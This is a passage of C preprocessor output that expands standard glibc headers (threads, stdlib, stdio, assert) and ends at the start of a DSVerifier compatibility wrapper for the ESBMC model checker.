extern int pselect (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
const struct timespec *__restrict __timeout,
const __sigset_t *__restrict __sigmask);
# 126 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 180 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __blksize_t blksize_t;
typedef __blkcnt_t blkcnt_t;
typedef __fsblkcnt_t fsblkcnt_t;
typedef __fsfilcnt_t fsfilcnt_t;
# 227 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 1 3 4
# 44 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 1 3 4
# 21 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 2 3 4
# 45 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
typedef struct __pthread_internal_list
{
struct __pthread_internal_list *__prev;
struct __pthread_internal_list *__next;
} __pthread_list_t;
typedef struct __pthread_internal_slist
{
struct __pthread_internal_slist *__next;
} __pthread_slist_t;
# 74 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 3 4
struct __pthread_mutex_s
{
int __lock;
unsigned int __count;
int __owner;
unsigned int __nusers;
int __kind;
short __spins;
short __elision;
__pthread_list_t __list;
# 53 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 3 4
};
# 75 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
# 87 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 3 4
struct __pthread_rwlock_arch_t
{
unsigned int __readers;
unsigned int __writers;
unsigned int __wrphase_futex;
unsigned int __writers_futex;
unsigned int __pad3;
unsigned int __pad4;
int __cur_writer;
int __shared;
signed char __rwelision;
unsigned char __pad1[7];
unsigned long int __pad2;
unsigned int __flags;
# 55 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 3 4
};
# 88 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
struct __pthread_cond_s
{
__extension__ union
{
__extension__ unsigned long long int __wseq;
struct
{
unsigned int __low;
unsigned int __high;
} __wseq32;
};
__extension__ union
{
__extension__ unsigned long long int __g1_start;
struct
{
unsigned int __low;
unsigned int __high;
} __g1_start32;
};
unsigned int __g_refs[2] ;
unsigned int __g_size[2];
unsigned int __g1_orig_size;
unsigned int __wrefs;
unsigned int __g_signals[2];
};
# 24 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 2 3 4
typedef unsigned long int pthread_t;
typedef union
{
char __size[4];
int __align;
} pthread_mutexattr_t;
typedef union
{
char __size[4];
int __align;
} pthread_condattr_t;
typedef unsigned int pthread_key_t;
typedef int pthread_once_t;
union pthread_attr_t
{
char __size[56];
long int __align;
};
typedef union pthread_attr_t pthread_attr_t;
typedef union
{
struct __pthread_mutex_s __data;
char __size[40];
long int __align;
} pthread_mutex_t;
typedef union
{
struct __pthread_cond_s __data;
char __size[48];
__extension__ long long int __align;
} pthread_cond_t;
typedef union
{
struct __pthread_rwlock_arch_t __data;
char __size[56];
long int __align;
} pthread_rwlock_t;
typedef union
{
char __size[8];
long int __align;
} pthread_rwlockattr_t;
typedef volatile int pthread_spinlock_t;
typedef union
{
char __size[32];
long int __align;
} pthread_barrier_t;
typedef union
{
char __size[4];
int __align;
} pthread_barrierattr_t;
# 228 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 395 "/usr/include/stdlib.h" 2 3 4
extern long int random (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srandom (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern char *initstate (unsigned int __seed, char *__statebuf,
size_t __statelen) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern char *setstate (char *__statebuf) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct random_data
{
int32_t *fptr;
int32_t *rptr;
int32_t *state;
int rand_type;
int rand_deg;
int rand_sep;
int32_t *end_ptr;
};
extern int random_r (struct random_data *__restrict __buf,
int32_t *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srandom_r (unsigned int __seed, struct random_data *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int initstate_r (unsigned int __seed, char *__restrict __statebuf,
size_t __statelen,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4)));
extern int setstate_r (char *__restrict __statebuf,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int rand (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srand (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern int rand_r (unsigned int *__seed) __attribute__ ((__nothrow__ , __leaf__));
extern double drand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern double erand48 (unsigned short int __xsubi[3]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int lrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int nrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int mrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int jrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void srand48 (long int __seedval) __attribute__ ((__nothrow__ , __leaf__));
extern unsigned short int *seed48 (unsigned short int __seed16v[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void lcong48 (unsigned short int __param[7]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct drand48_data
{
unsigned short int __x[3];
unsigned short int __old_x[3];
unsigned short int __c;
unsigned short int __init;
__extension__ unsigned long long int __a;
};
extern int drand48_r (struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int erand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int nrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int mrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int jrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srand48_r (long int __seedval, struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int seed48_r (unsigned short int __seed16v[3],
struct drand48_data *__buffer) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lcong48_r (unsigned short int __param[7],
struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern void *malloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__))
__attribute__ ((__alloc_size__ (1))) ;
extern void *calloc (size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__alloc_size__ (1, 2))) ;
extern void *realloc (void *__ptr, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)) __attribute__ ((__alloc_size__ (2)));
extern void *reallocarray (void *__ptr, size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__))
__attribute__ ((__alloc_size__ (2, 3)));
extern void free (void *__ptr) __attribute__ ((__nothrow__ , __leaf__));
# 1 "/usr/include/alloca.h" 1 3 4
# 24 "/usr/include/alloca.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 25 "/usr/include/alloca.h" 2 3 4
extern void *alloca (size_t __size) __attribute__ ((__nothrow__ , __leaf__));
# 569 "/usr/include/stdlib.h" 2 3 4
extern void *valloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__))
__attribute__ ((__alloc_size__ (1))) ;
extern int posix_memalign (void **__memptr, size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern void *aligned_alloc (size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__alloc_size__ (2))) ;
extern void abort (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern int atexit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int at_quick_exit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int on_exit (void (*__func) (int __status, void *__arg), void *__arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void quick_exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void _Exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern char *getenv (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 647 "/usr/include/stdlib.h" 3 4
extern int putenv (char *__string) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int setenv (const char *__name, const char *__value, int __replace)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int unsetenv (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int clearenv (void) __attribute__ ((__nothrow__ , __leaf__));
# 675 "/usr/include/stdlib.h" 3 4
extern char *mktemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 688 "/usr/include/stdlib.h" 3 4
extern int mkstemp (char *__template) __attribute__ ((__nonnull__ (1))) ;
# 710 "/usr/include/stdlib.h" 3 4
extern int mkstemps (char *__template, int __suffixlen) __attribute__ ((__nonnull__ (1))) ;
# 731 "/usr/include/stdlib.h" 3 4
extern char *mkdtemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 784 "/usr/include/stdlib.h" 3 4
extern int system (const char *__command) ;
# 800 "/usr/include/stdlib.h" 3 4
extern char *realpath (const char *__restrict __name,
char *__restrict __resolved) __attribute__ ((__nothrow__ , __leaf__)) ;
typedef int (*__compar_fn_t) (const void *, const void *);
# 820 "/usr/include/stdlib.h" 3 4
extern void *bsearch (const void *__key, const void *__base,
size_t __nmemb, size_t __size, __compar_fn_t __compar)
__attribute__ ((__nonnull__ (1, 2, 5))) ;
extern void qsort (void *__base, size_t __nmemb, size_t __size,
__compar_fn_t __compar) __attribute__ ((__nonnull__ (1, 4)));
# 840 "/usr/include/stdlib.h" 3 4
extern int abs (int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern long int labs (long int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern long long int llabs (long long int __x)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern div_t div (int __numer, int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern ldiv_t ldiv (long int __numer, long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern lldiv_t lldiv (long long int __numer,
long long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
# 872 "/usr/include/stdlib.h" 3 4
extern char *ecvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *fcvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *gcvt (double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern char *qecvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qfcvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qgcvt (long double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern int ecvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int fcvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qecvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qfcvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int mblen (const char *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern int mbtowc (wchar_t *__restrict __pwc,
const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern int wctomb (char *__s, wchar_t __wchar) __attribute__ ((__nothrow__ , __leaf__));
extern size_t mbstowcs (wchar_t *__restrict __pwcs,
const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern size_t wcstombs (char *__restrict __s,
const wchar_t *__restrict __pwcs, size_t __n)
__attribute__ ((__nothrow__ , __leaf__));
extern int rpmatch (const char *__response) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 957 "/usr/include/stdlib.h" 3 4
extern int getsubopt (char **__restrict __optionp,
char *const *__restrict __tokens,
char **__restrict __valuep)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2, 3))) ;
# 1003 "/usr/include/stdlib.h" 3 4
extern int getloadavg (double __loadavg[], int __nelem)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 1013 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdlib-float.h" 1 3 4
# 1014 "/usr/include/stdlib.h" 2 3 4
# 1023 "/usr/include/stdlib.h" 3 4
# 18 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 1 "/usr/include/assert.h" 1 3 4
# 66 "/usr/include/assert.h" 3 4
extern void __assert_fail (const char *__assertion, const char *__file,
unsigned int __line, const char *__function)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void __assert_perror_fail (int __errnum, const char *__file,
unsigned int __line, const char *__function)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void __assert (const char *__assertion, const char *__file, int __line)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 1 "/usr/include/stdio.h" 1 3 4
# 27 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 28 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 34 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 1 3 4
# 40 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 3 4
typedef __builtin_va_list __gnuc_va_list;
# 37 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 1 3 4
# 13 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 3 4
typedef struct
{
int __count;
union
{
unsigned int __wch;
char __wchb[4];
} __value;
} __mbstate_t;
# 6 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 2 3 4
typedef struct _G_fpos_t
{
__off_t __pos;
__mbstate_t __state;
} __fpos_t;
# 40 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 3 4
typedef struct _G_fpos64_t
{
__off64_t __pos;
__mbstate_t __state;
} __fpos64_t;
# 41 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE __FILE;
# 42 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE FILE;
# 43 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 3 4
struct _IO_FILE;
struct _IO_marker;
struct _IO_codecvt;
struct _IO_wide_data;
typedef void _IO_lock_t;
struct _IO_FILE
{
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
# 44 "/usr/include/stdio.h" 2 3 4
# 52 "/usr/include/stdio.h" 3 4
typedef __gnuc_va_list va_list;
# 84 "/usr/include/stdio.h" 3 4
typedef __fpos_t fpos_t;
# 133 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdio_lim.h" 1 3 4
# 134 "/usr/include/stdio.h" 2 3 4
extern FILE *stdin;
extern FILE *stdout;
extern FILE *stderr;
extern int remove (const char *__filename) __attribute__ ((__nothrow__ , __leaf__));
extern int rename (const char *__old, const char *__new) __attribute__ ((__nothrow__ , __leaf__));
extern int renameat (int __oldfd, const char *__old, int __newfd,
const char *__new) __attribute__ ((__nothrow__ , __leaf__));
# 173 "/usr/include/stdio.h" 3 4
extern FILE *tmpfile (void) ;
# 187 "/usr/include/stdio.h" 3 4
extern char *tmpnam (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
extern char *tmpnam_r (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
# 204 "/usr/include/stdio.h" 3 4
extern char *tempnam (const char *__dir, const char *__pfx)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) ;
extern int fclose (FILE *__stream);
extern int fflush (FILE *__stream);
# 227 "/usr/include/stdio.h" 3 4
extern int fflush_unlocked (FILE *__stream);
# 246 "/usr/include/stdio.h" 3 4
extern FILE *fopen (const char *__restrict __filename,
const char *__restrict __modes) ;
extern FILE *freopen (const char *__restrict __filename,
const char *__restrict __modes,
FILE *__restrict __stream) ;
# 279 "/usr/include/stdio.h" 3 4
extern FILE *fdopen (int __fd, const char *__modes) __attribute__ ((__nothrow__ , __leaf__)) ;
# 292 "/usr/include/stdio.h" 3 4
extern FILE *fmemopen (void *__s, size_t __len, const char *__modes)
__attribute__ ((__nothrow__ , __leaf__)) ;
extern FILE *open_memstream (char **__bufloc, size_t *__sizeloc) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void setbuf (FILE *__restrict __stream, char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__));
extern int setvbuf (FILE *__restrict __stream, char *__restrict __buf,
int __modes, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern void setbuffer (FILE *__restrict __stream, char *__restrict __buf,
size_t __size) __attribute__ ((__nothrow__ , __leaf__));
extern void setlinebuf (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int fprintf (FILE *__restrict __stream,
const char *__restrict __format, ...);
extern int printf (const char *__restrict __format, ...);
extern int sprintf (char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__));
extern int vfprintf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg);
extern int vprintf (const char *__restrict __format, __gnuc_va_list __arg);
extern int vsprintf (char *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg) __attribute__ ((__nothrow__));
extern int snprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, ...)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 4)));
extern int vsnprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 0)));
# 379 "/usr/include/stdio.h" 3 4
extern int vdprintf (int __fd, const char *__restrict __fmt,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__printf__, 2, 0)));
extern int dprintf (int __fd, const char *__restrict __fmt, ...)
__attribute__ ((__format__ (__printf__, 2, 3)));
extern int fscanf (FILE *__restrict __stream,
const char *__restrict __format, ...) ;
extern int scanf (const char *__restrict __format, ...) ;
extern int sscanf (const char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__ , __leaf__));
extern int fscanf (FILE *__restrict __stream, const char *__restrict __format, ...) __asm__ ("" "__isoc99_fscanf")
;
extern int scanf (const char *__restrict __format, ...) __asm__ ("" "__isoc99_scanf")
;
extern int sscanf (const char *__restrict __s, const char *__restrict __format, ...) __asm__ ("" "__isoc99_sscanf") __attribute__ ((__nothrow__ , __leaf__))
;
# 432 "/usr/include/stdio.h" 3 4
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__format__ (__scanf__, 2, 0)));
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vfscanf")
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vscanf")
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vsscanf") __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__format__ (__scanf__, 2, 0)));
# 485 "/usr/include/stdio.h" 3 4
extern int fgetc (FILE *__stream);
extern int getc (FILE *__stream);
extern int getchar (void);
extern int getc_unlocked (FILE *__stream);
extern int getchar_unlocked (void);
# 510 "/usr/include/stdio.h" 3 4
extern int fgetc_unlocked (FILE *__stream);
# 521 "/usr/include/stdio.h" 3 4
extern int fputc (int __c, FILE *__stream);
extern int putc (int __c, FILE *__stream);
extern int putchar (int __c);
# 537 "/usr/include/stdio.h" 3 4
extern int fputc_unlocked (int __c, FILE *__stream);
extern int putc_unlocked (int __c, FILE *__stream);
extern int putchar_unlocked (int __c);
extern int getw (FILE *__stream);
extern int putw (int __w, FILE *__stream);
extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
;
# 603 "/usr/include/stdio.h" 3 4
extern __ssize_t __getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getline (char **__restrict __lineptr,
size_t *__restrict __n,
FILE *__restrict __stream) ;
extern int fputs (const char *__restrict __s, FILE *__restrict __stream);
extern int puts (const char *__s);
extern int ungetc (int __c, FILE *__stream);
extern size_t fread (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __s);
# 673 "/usr/include/stdio.h" 3 4
extern size_t fread_unlocked (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite_unlocked (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream);
extern int fseek (FILE *__stream, long int __off, int __whence);
extern long int ftell (FILE *__stream) ;
extern void rewind (FILE *__stream);
# 707 "/usr/include/stdio.h" 3 4
extern int fseeko (FILE *__stream, __off_t __off, int __whence);
extern __off_t ftello (FILE *__stream) ;
# 731 "/usr/include/stdio.h" 3 4
extern int fgetpos (FILE *__restrict __stream, fpos_t *__restrict __pos);
extern int fsetpos (FILE *__stream, const fpos_t *__pos);
# 757 "/usr/include/stdio.h" 3 4
extern void clearerr (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void clearerr_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void perror (const char *__s);
# 1 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 1 3 4
# 26 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 3 4
extern int sys_nerr;
extern const char *const sys_errlist[];
# 782 "/usr/include/stdio.h" 2 3 4
extern int fileno (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int fileno_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
# 800 "/usr/include/stdio.h" 3 4
extern FILE *popen (const char *__command, const char *__modes) ;
extern int pclose (FILE *__stream);
extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__));
# 840 "/usr/include/stdio.h" 3 4
extern void flockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int ftrylockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
# 858 "/usr/include/stdio.h" 3 4
extern int __uflow (FILE *);
extern int __overflow (FILE *, int);
# 873 "/usr/include/stdio.h" 3 4
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
void __DSVERIFIER_assume(_Bool expression){
__ESBMC_assume(expression);
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
}
void __DSVERIFIER_assert(_Bool expression){
